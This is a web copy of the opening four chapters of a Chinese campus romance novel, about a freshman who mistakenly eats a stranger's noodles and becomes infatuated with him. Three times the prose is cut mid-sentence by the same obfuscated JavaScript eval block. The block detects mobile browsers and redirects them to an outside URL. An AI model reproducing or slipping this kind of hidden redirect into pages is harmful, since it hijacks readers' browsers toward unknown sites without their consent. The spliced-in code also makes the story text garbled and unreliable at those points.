《看她弄巧不成拙》 1. 看她弄巧 《看她弄巧不成拙》 文/史今朝 2021.9.9 初次见面,他就夸我是金子,早晚都会发光的! ——《叮咚!您点的乌龙面已送达!》 灰蓝为主色调的外墙里,左右对称地镶嵌着几扇落地窗。 落地窗顶端呈拱形,外延一圈深棕色瓷砖突出轮廓,除此之外,没有任何繁复的装饰。 一层从左边数的第一扇窗户里,两个人,相对而坐。 目光稍一推进,你就会发现这两个人神态各异。 坐在左边的女生,目光聚焦在眼前的美食上,拿着筷子正准备大快朵颐。坐在右边的男生,则相当懒散地靠着椅背,双手交叉在胸前,好整以暇地看着对面。 “哟~”穆亦川眉梢一挑,一贯的阴阳怪气,“昨天不是还自诩是在逃公主,今天就出城堡了?不怕迪士尼法务部来逮捕你了?” 闻言,应如是头都没抬,随意应了句:“城堡饭不够吃。” 穆亦川:“......” 他叹了口气,相当无语地低下头,看着对面那碗浇头丰盛到冒出头的乌冬面,又看了眼旁边的藤编草帽盘,白色的吸油纸上,摆放着一只相当惹眼的、炸的金黄酥脆的大鸡腿。 学校食堂的最后一个大鸡腿。 穆亦川:“......” 这姑娘一如既往的能吃。 见对面迟迟没有回声,埋头吃饭的小脑袋终于从碗里暂时抬了起来。 应如是看着对面,腮帮子一鼓一鼓地把嘴里的鱼籽福袋嚼完,趁着咀嚼的功夫,她认认真真地观察了一下穆亦川的眼神。 并迅速得出结论—— 他也想吃这个鸡腿。 她空咽了一下喉咙,直入主题地控诉:“不是吧穆亦川?你连个鸡腿都要跟我抢?虽然这是今天中午的最后一个鸡腿了,但你已经吃了一年了,把这个让给我吃怎么了?” “......”穆亦川对她跑偏的理解力早已习以为常,无奈地抚了抚眉心,“大姐,我可是都听说了啊,您可是整整绝食了三天啊,一上来就吃这么油腻的东西,胃受得住吗?” 应如是那莫名其妙的叛逆心瞬间就上来了:“你管我!” “还跟你母上大人赌气呢?”穆亦川唇角挟着笑,一脸了然地问,“不过,这次闹这么狠,饭都不给吃。” “我吃了的——”应如是煞有介事地看了眼四周,把手放在嘴边,音量放低,“潺潺从楼上的阳台,拿个竹篮给我吊下来的,一日三餐,顿顿都没少。” 穆亦川:“......” 应如是目光瞥了一眼对面,扯了下嘴角,揶揄道:“关键时刻,还得看我姐们,你这样的人靠不住,一个鸡腿都跟我抢。” 穆亦川冷哼一声:“呵!这时候想起来把我当成男的了?” 应如是:“......” 他眉梢一挑,一副悉听尊便的表情:“说说吧,这次是为什么?” 听到这儿,应如是沉沉叹了口气,筷子也撂下了,目光失焦地看了眼窗外。 此时正值七月中旬,绿树成荫,遮挡住烈阳的几分刺眼,绿树掩映后,有一幢红色的小楼,那是朝杨大学的外国语学院。 应如是刚刚就是从那里走了出来。 看到这儿,她又叹了口气:“我想复读,我妈不让。” “复读?”穆亦川觉得她的脑子不是被驴踢了,就是被门挤了,“就你那成绩,能考上朝大这样的名牌大学是八辈子修来的福分,你知足吧。” “你怎么跟我妈说的话一模一样!”应如是瞪着的一双大眼睛,又黑又亮,像两颗熟得有点过头的葡萄,怒气饱满得快要滴出水来,“再说,我成绩怎么了?我从来都没掉出过年级前三,OK?” 穆亦川冷冷瞥她一眼:“年级前三,很了不起?” 应如是没理还不饶人:“那好歹我是自己考上来的,不像某人,通过不正当手段。” 她说的不正当手段,是保送。 ...... “我懒得跟你扯,”穆亦川拿手机戳了两下桌面,以过来人的身份说道,“听我的,别想复读这事儿。狗屎运不是你想踩就踩的,踩到了,就好好珍惜。再说,高三再来一遍,你受得了?” 应如是看着他那副欠揍的嘴脸,十分想把这张脸欠的揍,亲手还清。 她扬扬眉:“你知道我被哪个学院录取了吗?” “不是电视学院吗?”当初报志愿他还全程监督来着。 按照她那个成绩,应该没什么问题。 不过,听这个语气...... 穆亦川顿了顿,小心翼翼地问:“......被调剂了?” 应如是恹恹地点点头。 “调剂到哪了?” “外国语学院。” “这不是挺好的吗?你英语成绩不是还凑合,到时候做国际新闻......” 没等他说完,应如是就打断了他的话:“斯瓦希里语专业。” 穆亦川没听清,下意识一问:“什么玩意儿?什么希......拉里?” “一个在朝大待了一年的人都不知道的专业,”应如是重重叹了口气,一脸生无可恋的表情,“我那么高的分数,竟然与电视学院失之交臂了!你让我怎么咽的下这口气?” “就那也不要走复读的路,管他什么专业,先进了朝大再说,”穆亦川神色一凛,正经道,“更何况,朝大是可以转专业的,你到时候转专业,不比你再次高考考进来容易多了?” “对哦!”应如是恍然大悟地拍了拍自己的大腿。 这几天沉浸在强烈的不甘心,以及与母上大人冷战的交锋之中,她一时间都忘了其实还有一条迂回路线可以让她选择。 围魏救赵! 声东击西! 不都是出奇制胜的例子吗! 她一定也可以! 想到这儿,应如是的心结一下子就解开了—— 应如是同志! 道路虽然是曲折的! 但前途一定是光明的! I can I up! 这样想着,她双手握拳,给自己打了个气。 穆亦川看她恢复正常,终于开始动筷。 说时迟那时快,没有任何预兆地,应如是突然之间觉得不对劲了。 也不知是情绪大起大落引起了消化系统的反应,还是今早赶路的原因,腹部传来异常触感。 她很是不自然地蹙了蹙眉,表情捎带着有些扭曲:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117694|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近的卫生间在哪儿?” 穆亦川抬眼看她:“咋啦?” 应如是捂着自己的腹部,小声说:“肚子疼。” “餐厅没卫生间,”穆亦川指了指左手边的那栋楼,“最近的在动画学院。” 说着,应如是已经从座椅上站了起来。 穆亦川考虑到她每次找路都能完美避开正确方向的神奇体质,任命般地站了起来,“走吧,我陪你去。” “我去卫生间!你陪什么陪!”都这功夫了,应如是还有精力给他下达任务,“把我的面给我看好!要是被收了,我拿你是问!” “......” “还有,别吃我的鸡腿!”走了两步,她又忽地转过身来,双臂撑着桌沿,目光居高临下地扫了穆亦川一眼,警告道:“这个是我的打底。” 穆亦川用关爱智障的眼神回视着她:“打底?打什么底?” “今天星期四。” “......所以呢?” “等会儿我还得去会会肯德基,看看它到底有多疯狂。” “......” - 大约五分钟后,应如是才从动画学院出来。 解决完一件人生大事,那叫一个神清气爽。 她一路哼着小曲,心情极好地返回了餐厅。 直到,看到餐桌上的那一幕,她笑容尽收。 ——那个炸的金黄酥脆的那个大鸡腿没了。 只剩下那碗她还没怎么吃的乌冬面,留在餐桌上。 她一屁股坐在餐椅上,气得直接拨通了闺蜜苏潺的电话,也不等她说话,开头就直入主题道:“潺潺,我跟你说,穆亦川就不是个男人!他比我大两岁!并且已经在朝大吃了一年的食堂!你敢相信吗!就是在这种情况下!他竟然还抢我的鸡腿吃!” 怕面凉了不好吃,应如是拿起筷子,一边吃一边继续吐槽—— “什么我来了肯定会照顾我,全部都是扯淡!” “等我开学,我非得好好整整他!” “不过,朝大的饭是真好吃,到时候你过来找我,我带你吃遍所有食堂。” 应如是兴致盎然地与苏潺煲着电话粥,还越说越起劲,以至于根本没有注意到,不知何时,身后站了一个人。 廖清杉也不知道自己是怀着怎样的心情,就在那张餐桌前站定了,垂眸望着这个扎着丸子头的小脑袋,以及脑袋下的那碗面。 这也没多大会儿吧,那个她只吃了几口的面,已经快要见底。 嘿,你别说—— 这“小丸子头”还挺厉害。 应如是对这样的注视浑然不觉,依然沉浸与苏潺的在通话中:“不复读了!我坚信,是金子早晚都会发光的!” 手机那端不知道又说了什么,廖清杉见她沉默了几秒,然后点了点头,对手机那头的人说道:“那我先挂了,有什么事儿,等我回枫桥再说。” 说完,应如是利落地按下挂断键。 可是,就当她准备放下手机,专心致志把面吃完的时候,突然之间,一个含笑嗓音,没有任何预兆地从头顶落下: “金子会不会发光我不知道,但我知道,照你这个吃法——”那个声音顿了顿, “金子早晚会被你吃光的。” 2. 看她弄巧 啊哦! 我好像把乌冬面,吃成了乌龙面...... ——《叮咚!您点的乌龙面已送达!》 虽然是个陌生的声音,但应如是直觉这个人就是在跟她说话。 于是,循着声音传来的轨迹,她扭头朝右后方望去。 首先映入眼帘的就是一双笔直细长的腿,被黑色西裤包裹着,熨帖得寻不到一丝褶皱;然后,她微敛着的眼睫轻抬着向上,看到一个同色系的精简纽扣,严丝合缝地扣住精瘦的腰身。 目光再往上,黑色戛然而止,取而代之的是一件贴合工整的白色衬衫。袖口挽至小臂,露出骨节分明的腕骨,领口两颗扣子微敞,细长脖颈,白得刺眼。 看到这儿,应如是不自然地空咽了一下喉咙。 再向上打量,落入眼中的,是一条瘦削利落的下颚线,以及半截挺拔的鼻梁。 阳光透过窗棂漫射进来,应如是仰着头,有些看不清他的眉眼。 但是,不知为何,她脑海里却水到渠成地,冒出了一个词: BKing。 不知是这个词找补得太过满意,还是消化系统暂时宕了机,下一秒,应如是无中生有地—— 打了个嗝。 此时正值暑假,又过了饭点,食堂里早已没了什么人。 所以,那一声嗝,存在感就相当的强。 像投入湖面的一颗石子,荡起层层涟漪。 很明显,这涟漪波及到了某人的眉心,他下意识地蹙了下眉。 与此同时,应如是手指无意识地,猛地一松。 紧接着,清脆的一声响,突兀响起。 手中骤然一空,应如是赶紧收回目光,低头看着因自己手滑掉落在面汤中的手机,忍不住哀嚎:“啊!我的面!” 目睹这一切的廖清杉:“......” 头一次见人,手机掉进碗里,心疼的不是手机,而是面。 要说这朝大食堂也是实在,一碗十几块钱的乌冬面,用一个比脸还大的碗来盛不说,量也是实打实的多,面多汤足,生怕学生们吃不饱似的。 不过,应如是生平第一次有点痛恨这样的物美价廉,估摸着这碗口要是浅点,或者这汤能少点,她的手机,也不至于就这么“全机覆没”。 她翘起手指,眼疾手快地把手机从面碗里捞了出来,甩了甩沾上的汤渍,然后,尝试着按了一下电源键。 果不其然,手机屏幕没有任何反应。 ——应该是进水自动关机了。 “我刚买的新手机啊!”应如是惊呼一声,下意识地就要按下电源键,想尝试着看看还能不能顺利开机。 结果,还没等她按下,一只手突然横叉进来,严严实实地遮挡住了她的视线。紧接着,她眼睁睁地看着自己的手机,被两根白皙修长的手指捏了起来。 整个过程快得几乎可以忽略不计,但她竟然在这一晃而过的时间里,莫名其妙地注意到了,那个人的腕骨旁,有一枚浅浅的痣。 这次,应如是终于从座位上站了起来,得以平视这个刚才她只能仰望的男人。 不,准确地说,仍然是仰视。 因为,即使站了起来,她也只到他的肩膀。 应如是目光轻抬,刚才没看清楚的眉眼,在此刻终于显现出了清晰的轮廓。 这会儿,他没看她,正低着头,替她专心致志地擦拭着那个满是汤水的手机。 他眸光微垂着,眼窝深邃,眼型狭长,鼻梁挺拔利落,嘴唇抿成一条线,冷白肤色,衬得人有些清冷凉薄,并不是那种会让人初见甚欢、一见如故的长相,反倒给人一种不太容易接近的距离感。 应如是莫名觉得这人长得有点拽。 把手机上的污渍擦干净之后,他才抬头,目光平直地看了过来:“手机进水后不能立刻开机,装进密封袋,在米箱里放一晚上,明早再开。” 一副例行公事的口吻,四平八稳,寻不到任何波澜。 说完,便把手机递给了她。 应如是一时间怔在原地,没及时伸过手去接。 廖清杉也不等她回神,利落地把那个擦干净了的手机,扔进了哆啦A梦的百宝袋里。 ——应如是今天穿了一件白色T恤,外面罩着一件浅蓝色的背带裤。背带裤胸前的图案就是哆啦A梦的百宝袋。 她无声地看着他这一通操作,下意识“嗯”了一声,轻轻浅浅的,不刻意去听根本听不到。 然后,她就看到那个男人意味深长地瞥了眼桌上的那碗面。 再然后,就头也不回地走了。 应如是:“?” - 正准备去动画学院捞人的穆亦川,跑到餐厅门口,忽地刹住了脚步。 余光里的那抹哆啦A梦蓝,像吸铁石一样,紧紧牵引着他的目光。 偏头一看,果然是应如是。 他疾步跑到她面前,手揣在兜里,吊儿郎当地看着她,语气戏谑:“你杵这儿作甚?” 听到声音,应如是才微微回神,收回了看向窗外的目光。不过,她没看向穆亦川,而是一低头,看着那个掉在自己口袋里的手机,自发地开始回顾起刚才的事发经过。 不过,这幅画面,落在穆亦川眼里就不是那么简单的一回事了。 要知道在他看来,应如是那可是从小“贫”到大的一个活宝儿,绝对的革命乐观主义的践行者。 甭管是多闹心的事儿,到了她这儿,都能如过眼云烟,说忘就忘。 这样的人,天生心大,天性乐观。 再加上,这姑娘天生就长了张笑脸,桃花眼翘鼻梁,樱桃小嘴似点绛。 尤其是一笑起来,唇边还有两个小梨涡,更是显得人畜无害。 因此,她一低头,一敛眉,一沉默,忽然跟琼瑶阿姨笔下的女主角一样,冷不丁地来了这么一遭,穆亦川还有点不知所措。 ——小魔女这是要转性? 还是说,真伤心了? 看来调剂这件事对她的影响还是挺大的。 想到这儿,穆亦川也不跟她开玩笑了。他把手从兜里拿出来,站直了身子,安抚性地拍了拍她的肩,语重心长道:“别难过了,不就是专业被调剂了吗,我跟你说,我刚才都查了,斯瓦希里语并没有想象中那么小众,它和阿拉伯语、豪萨语并列非洲三大语言呢。” 应如是:“?” 宁有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117695|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事吗? “非洲对你的吸引力,好像并没有那么大......”穆亦川无奈地挠了挠头,搜刮着自己对这门语言那点儿可怜的知识储备,越挫越勇道,“那什么,你手机浏览器里的Safari也是斯瓦希里语,语音服务那个Siri也是斯瓦希里语,这样一想,这门语言用处是不是还挺大的?再说,咱就忍它一个学期,学完不就转专业了吗?” 不说还好,一说到手机,应如是脑子里就跟装了一台复读机似的,不断循环播放着刚才那个人说的那句—— “手机进水后不能立刻开机。装进密封袋,在米箱里放一晚上,明早再开。” 一遍一遍的,跟上了发条似的,拽是拽,却还算好听。 刚刚踏过高考这座独木桥,对这个世界的未知地带正蠢蠢欲动的应如是,感觉到体内蛰伏的一些些小怪兽,正在悄悄苏醒,挠着心似的,酥酥麻麻一片。 不知过了多久,看到一只手在自己的眼皮子底下晃了又晃,应如是终于抬起眸来,叫了声:“穆亦川。” 他立马应了一声:“嗯。” “好像有人喜欢我。” “嗯。”沉默片刻,穆亦川才反应过来,音调猛地一扬,“嗯?” “刚有个人,过来跟我搭讪,还一个劲儿的夸我。” “......夸你?怎么夸你?” “他说我是金子,早晚都会发光的。” “......”穆亦川嘴角一扯,冷哼一声,不屑之情溢于言表。 嘿! 你还别说,这表情还挺有霸道总裁那味儿。 很明显,应如是被他这个笑狠狠刺激到了,刚才身上那股十八年才一见的琼瑶女主的气质瞬间消失得无影无踪,她手臂猛地一抬高,一踮脚,紧紧扼住了穆亦川的咽喉,咬牙切齿道:“你竟然敢笑我?!你是不是不信?!” 穆亦川:“......” 特么的可终于恢复正常了,要不他回去还真不知道该怎么跟父老乡亲们交待。 看他沉默,应如是手上力度不减反增,步步紧逼:“我跟你说,我有证据,他不仅夸我,刚才看到我手机掉到了碗里,还替我把手机擦干净了。你说,这么大一个食堂,他要不是对我一见钟情,何必这么关注我,还费那么大的劲......” 这姑娘下手是真重,穆亦川一边把她的胳膊从自己身上摘出来,一边从喉咙里断断续续挤出一句:“他这么关注你......有没有可能......是别的原因呢?” “别的原因?什么原因?”或许是被问到了,应如是手上力度稍稍松懈了点儿。 穆亦川终于趁势挣脱出她的魔爪。 他轻咳了一声,目光左右逡巡着,打量了一下餐厅的布局,一切瞬间了然。 紧接着,他忽然低头,轻轻笑了一下。 应如是听到这不怀好意的笑,心里咯噔一声。 穆亦川双手交叠抱在胸前,姿态散漫地倚着餐桌,像在看一个笑话似的,好整以暇地看着她,嘴角似乎还浮现着,与刚才如出一辙的笑。 下一秒,应如是就听到他轻嗤一声,来了句: “比如说,你吃了人家的面。” 3. 看她弄巧 你说你走就走呗,还留啥定情信物啊! ——《叮咚!您点的乌龙面已送达!》 此话一出,气氛瞬间安静了。 应如是怔在原地,一边琢磨着这句话的可信度,一边提溜着眼睛左瞧瞧,右看看。 嘿! 你还别说,这餐厅建的还真的挺对称。 “行了,别瞎琢磨了,我还能骗你不成?”穆亦川强忍住笑意,垂眸往她身后的那个餐桌上瞄了一眼,“我说我也是服了你了,方向搞错这种事我就不说什么了,毕竟已经见怪不怪了,但你连自己的饭都能认错?你是不是忘了,你还点了个大鸡腿儿?” “......”应如是瞪他一眼,“我那不是以为你吃了吗?还吃完就跑,生怕我兴师问罪。” 穆亦川冷哼一声:“我闲的没事,跟你抢吃的?” 应如是不服气地跟他翻旧账:“你抢的次数还少吗?” “我懒得搭理你,”穆亦川撂下她径自往前走着,走了几步又回过头来,一脸不耐烦的表情,“鸡腿儿还吃不吃了?” “吃!”中气十足的一声。 说完,应如是就哒哒哒地跑了起来。 看她跑近,穆亦川利落地曲起一条腿把她拦在身前,眉眼一扬,提醒道:“你以为在外面吃饭呢,有点当学生的自觉行不行?” 应如是被迫停住脚步,茫然地看着他:“啊?” “去把你刚才用的餐具收了,你放那儿,等着我替你收拾呢?” 虽然对穆亦川这副居高临下的口气很是不忿,但应如是还是个相当明事理的姑娘,知道自己的事情还是要自己做。 于是,她悻悻地哦了一声,便二话不说,转身去拿餐具了。 折返回原来的餐桌旁,应如是看着那碗快要见底的乌冬面,脑海里蓦地涌现出一个问题:所以这面是那个人吃过的?还是没吃过的? 如果是他吃过的,那岂不是...... 想到这儿,应如是拨浪鼓似的摇了摇头,没敢给自己留太多细想的时间,拿起餐具就朝回收台走去,把餐具递给工作人员之后,她正要转身离开,餐具回收处的阿姨却突然叫了她一声:“姑娘,等等,你筷子落在这了。” 应如是闻声回眸:“筷子?什么筷子?” “这筷子不是我们餐厅的,是你自带的吧?” “啊?”应如是看着阿姨手里那副做工精致的竹筷,愣了几秒,硬着头皮走了过去,接过那副筷子,有礼貌地回了一句:“谢谢阿姨。” “不用谢,”阿姨笑得和蔼,“小姑娘怎么暑假还没回家?” 应如是弯起眉眼,笑着回道:“我是新生,趁开学前来看看学校。” 说完才蹦跶着跑开了。 跟她搭话的阿姨目光在她背影上停留了一会儿,忍不住跟身边的同事感叹:“小姑娘长得多俊呐!” “可不是嘛,那大眼睛,真水灵!” - 应如是回来的时候,穆亦川正翘着二郎腿,专心致志地打着手游,听到脚步声,他眼皮轻掀了下,催促道:“快点儿吃,吃完去高铁站。” “老铁,”应如是嚼着大鸡腿儿,声音有些含糊不清地问,“刚才那个站在我身后的男生,你看到了没?” “男生?哪个男生?”穆亦川低着头,手指在屏幕上快速地滑动着,注意力根本没在她说的话上。 可能是鸡腿儿放的时间有点长了,口感也差了很多,应如是吃了一口便没了太大的兴趣,开始望着窗外发呆。 穆亦川打完一把游戏,才把目光重新放回到她身上,自然而然地接上一句:“就那个......误以为人家喜欢你的那个男生?” 应如是:“......” “怎么着?吃了人家一碗面,就想以身相许了?”穆亦川话里含笑,“就你这条件,你也不问问人家愿不愿意?” “我这条件怎么了!”应如是差点就要拍案而起了。 “你能淑女点儿?”穆亦川眉头微蹙,不耐烦地瞅了她一眼,“吃饱了没,吃饱就撤,我急着回家。” “回个家有什么可着急的,又不是没回过。” “我说大小姐,您在这儿玩离家出走玩得挺尽兴,我可是大半年没回家了啊,要不是等你过来,我今天早上直接就买高铁票回去了。” “......” 去年,穆亦川被保送进朝杨大学计算机系。 今年夏天,应如是同样以优异的成绩被朝大录取。 就是这专业,真的是太不衬心意了。 按理说,照她的成绩,是能在朝大随便选专业的,可奈何,今年朝大报考人数激增,各个学院的录取线较之往年,都有了极大幅度的增长。 她千算万算,都没算到自己成了被调剂的那个。 也因此,在得知录取结果之后,应如是与母亲祝和风产生了极大的分歧。 应如是心高气也傲,不想把自己宝贵的四年时间耗费在这么一个不喜欢的专业上,铁了心想要复读。 祝和风自然不同意,一是她不愿自己的闺女再去受一次高三的罪,二是复读变数太多,能考上朝大这样的知名学府,她已经满意得不得了了。 于是,母女两人就开始了冷战。 应如是把自己关在屋子里,甚至不惜以绝食抗议。 但不管她怎么闹腾,祝和风都置若罔闻,视而不见。 不过,有好闺蜜苏潺的里应外合,应如是倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117696|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没一顿饿着。 直到昨天,苏潺告诉她要和同学去毕业旅行,应如是一下子没了友军。于是,就将魔爪伸向了穆亦川。 穆亦川从暑假开始,就一直在临市搞比赛,比赛结束后,他正准备买机票回家,就是在这个时候,他接到了应如是的电话,内容言简意赅,语气理直气壮:“我离家出走了,马上到朝大,你麻溜的过来接驾。” 穆亦川:“......” 于是,回家前,他又拐回京溪,就为了这么个祖宗。 - 走出餐厅,穆亦川这才注意到应如是手里还拿着双筷子。 他凑近看了眼,发现有点不对劲。 这双筷子,上方呈暗红色,几缕浮云图案的暗纹雕饰其间,下方则是纯粹的黑,阳光一照,还泛着盈润的光泽。 太精致了,一看就不是餐厅的筷子。 “你这筷子哪儿来的?”他问。 闻言,应如是手指莫名紧了紧,“刚那人落下来的。” 一向把儿女情长视为行走江湖最大障碍的钢铁直男穆亦川,对她这种一见钟情的花痴行为非常不屑,轻声嗤道:“这事儿过不去了是吧?都知道人家对你没意思了,就这还念念不忘呢?” 应如是恶狠狠地瞪他一眼:“你懂什么?这叫缘分。” “缘分?”穆亦川冷呵一声,“见了一面就叫缘分?那我天天跟百八十号人都有缘分。” “我跟你说,”应如是眉眼间都是自信,“我跟他肯定还会再见的。” 穆亦川眉梢一挑,“这么肯定?” 应如是相当有底气地嗯了一声:“这个餐厅不是只能刷卡吗?那他既然在这儿吃饭了,肯定是这儿的学生,或者是老师。” “......” 说完,不知想到了什么,应如是夸张地瞪大了眼,惊呼道:“天呐,他可千万不要是老师啊......” 虽然,看他那么年轻,不太可能。 两人你一句我一句地说着,不知不觉间,已经走到了北门,穆亦川伸手拦下一辆出租车,趁着等车的功夫淡淡扫了她一眼:“人家是不是老师,关你屁事。” 应如是眼里的担忧格外真实:“师生恋,会受到很多舆论压力的。” “......”穆亦川懒得跟她这个一看到帅哥就自动把自己带入偶像剧女主的恋爱脑沟通,一把拎起她的帽子,将她扔进了车里,“行了行了,这才哪跟哪啊,等你入学就会发现,这学校,帅哥一抓一大把。” “是么?”应如是被他这个动作弄得有些气恼,看着他那张欠揍的脸,冷哼一声,轻飘飘道,“那你能在这个学校待下去,心理素质还挺强的。” 穆亦川:“......” 4. 看她弄巧 这日子呀,就像小星星一样。 温柔又闪亮。 ——《叮咚!您点的乌龙面已送达!》 从京溪到滨江,两个多小时的车程,两个人一路无言。 到滨江市的时候,已经快七点了,此时正值盛夏,天色依然亮着,绚烂至极的火烧云铺展在天际尽头,有一种别样的浪漫。 走出高铁站,穆亦川拿着行李走在应如是身后,终于开口跟她说了一句话:“你回哪儿?” 应如是脑袋瓜子一转,心想现在回家肯定免不了要听祝和风女士的一顿唠叨,因此,她果断说道:“回枫桥。” 枫桥是滨江下面的一个小镇,也是应如是的老家。读中学时,父母为了给她营造更好的教育环境,在滨江市区买了一套房子,一家人搬到了滨江来住,枫桥的那套房子就留给了应如是的外公外婆。 其实枫桥和滨江离的并不远,开车也就三四十分钟。但升入中学之后,应如是的课业压力明显增加,除了节假日,回去的时间倒是少了很多。 高考之后,应如是本来就想着找个时间回去,可大大小小的毕业旅行、毕业聚餐一个接一个,回老家的事情就这么搁置下来了。这么一算,她倒是很长时间都没有回去了,正好也是时候回家看看外公外婆了。 听到这个答案,穆亦川也觉得正好,省得他还要送她回市区,那样免不了要绕远路。 高铁站有直达枫桥的接驳车,上了车之后,两个人在后排找了个位置坐下,穆亦川这才问道:“你回老家,跟祝姨说了吗?” 应如是从口袋里拿出手机,冷嘲热讽道:“行了,你可别装了,有你这么个线人在,祝和风女士对我的行踪还能不了解?” “咳、咳......”穆亦川轻咳两声,做贼心虚地转移话题,“苏潺呢,怎么不过来接我,大半年没见了,不想她大哥吗?” 应如是攥着那个黑屏的手机,心不在焉道:“去毕业旅行了。” 穆亦川目光有疑:“这离毕业都过去多久了,怎么还有毕业旅行?” 应如是:“你以为谁都跟你似的,人缘这么差。” “......” 穆亦川额角抽了抽,这姑娘现在真是越来越无法无天了。 不过,一天之内辗转了三个城市的穆亦川现在也没什么力气去跟她计较,车里冷气开的足,他随手拿了个棒球帽带在头上,倚着座椅靠背,开始闭目养神。 应如是坐在窗边,看着窗外后退的景色,手指无意识地摩挲着手机。 “手机进水后不能立刻开机,装进密封袋,在米箱里放一晚上,明早再开。” 眼前风景悉数变幻,她倏地又想起这句话。 以及那个人。 - 到达枫桥的时候,天色已经变暗,浅淡的星辉薄薄一层,拢起散落人间的万家灯火。 晚风拂过仲夏,他们踏着夜色回家。 穆亦川拉着行李箱走在马路外侧,应如是双手插在哆啦A梦的百宝袋里,蹦蹦跶跶地走在里面。 从车站到家的路,沿途灯火璀璨,一片热闹景象。他们先后经过市政广场和“枫桥CBD”,然后就到了一片比较安静的住宅区。 这片住宅区均为自建房,两三层的小楼建的虽说是各有特色,但整体看来错落有致,反倒有一种自然而成的美感。 虽然身处闹市区,不过因为规划得当,葱郁绿树沿街而立,恰如其分地隔绝了外界的嘈杂与喧闹。穆亦川和应如是都住在这条街,不过一条在街头,一条在街尾。 此时,路灯洒下的暖黄色灯光在脚下一路延展,远处有几位邻里街坊在葡萄藤下纳凉。 行李箱碾过石板路面,发出咕噜的声响,应如是像是突然想起了什么,大步一跃跳到穆亦川面前,摊开手说:“用一下你手机。” 穆亦川二话不说递给她。 应如是在通讯录里找到苏潺的名字,等接通后按下免提键:“潺潺,你到哪儿了?” 接到电话的苏潺此时正半躺在火车的下铺,窗外是黑得彻底的夜色。目之所及处,旷野无垠,星河悬挂,似一幅尘封的画卷,缓缓铺展开来,遥遥辉映着漫天如水的星河。 她目光投在辽阔的远方,对着手机那头回道:“我们还在火车上呢,预计明天早上能到拉萨。” 应如是点点头,“那你好好玩,我在枫桥等你回来。” 苏潺回想起刚才看到的来电显示,不怀好意地问了句:“边穆呢?他回来了没?” 听到这个称呼,穆亦川脑仁儿直疼,他将警告的目光投向手机屏幕,声线冷寂得如同碎了的冰棱:“苏潺,你要是不想活命,你就继续这么叫。” 苏潺面不改色道:“哦,边穆。” 穆亦川:“......” 下一秒,他果断地按下了挂断键,一把从应如是手里拿过了手机。 应如是看着他这一通操作,忍不住嘟囔了一句:“小气。” 穆亦川扫她一眼,“那你别用。” 应如是无所谓地耸耸肩,“不用就不用,反正我手机明天就修好了。” 说话的功夫,两个人已经走到了同乐街街口,穆亦川看到熟悉的家门,停下了脚步,但他没立刻进去,而是朝应如是伸出手,无奈道:“行了,别去花那冤枉钱了,手机给我,我帮你修。” “不用,”应如是果断地甩甩头,推搡着他往家里走,“你别管我的事儿了,快回家吧,手机我自己会修。” 穆亦川:“你自己会修?我信了你的邪。” 应如是:这次我还就非得让你信一回不行! - 虽说是一个人回的家,但应如是一路上都没闲着。跟有社交牛逼症一样,前一秒还在跟纳凉的邻里街坊们打招呼,后一秒就被吃完饭出来遛弯儿的小孩子们拽了过去。 来来回回间,她愣是走了二十多分钟才走到同乐街尽头,再拐个弯,第二户就是她家了。不过,今天她却在拐角处停下了脚步。 因为眼前的景象,有点不对劲。 她双手插兜,仰头望过去,发现拐角处的这栋楼,整整三层,全部亮着灯。 这可是许久都未有过的景象。 这栋楼当初之所以建成,本来就不是为了单纯当住宅,而是为了当民宿。 应如是从小在枫桥长大,知道枫桥这个地名绝对不是空穴来风。每到金秋时节,红枫满城,目之所及处皆成油画,层林尽染,美不胜收。 尤其是临着同乐街的这条护城河,片片红枫临河而立,更是引人入胜。 河流中央,一条漆红木桥横卧其上,桥下水流潺潺,一派好光景。 枫桥由此得名。 儿时,同乐街的北面还是一大片红枫林,即使那个时候的信息并没有现在畅达,但仍然有不少游客慕名而来。 与应如是父亲同辈的周峰瞄准商机,利用自家绝妙的地理位置,开了间民宿。刚开始的几年,确实风头很盛,尤其在旺季,更是熙来攘往、门庭若市。 可惜好景不长。 之后那片红枫林被化为商业用地,一栋栋高楼在几年间如雨后春笋般,纷纷拔地而起。满目红枫,终落成满目遗憾,取而代之的是一座钢铁森林。 再之后,护城河被污染。虽然几年前曾下令治理,但行至中途,污水刚排干净,又恰逢领导班子换届,此项目被暂时搁置,再没了下文。 整个过程中有多少的政令不达、利益交错,普通老百姓无法窥见全貌,他们能窥见的是—— 那条枫桥人引以为傲的护城河,一干涸,便是这么多年。 横卧于河上的那座木桥,在经年的风吹雨淋中,也因年久失修,只剩一半,摇摇坠在半空中。 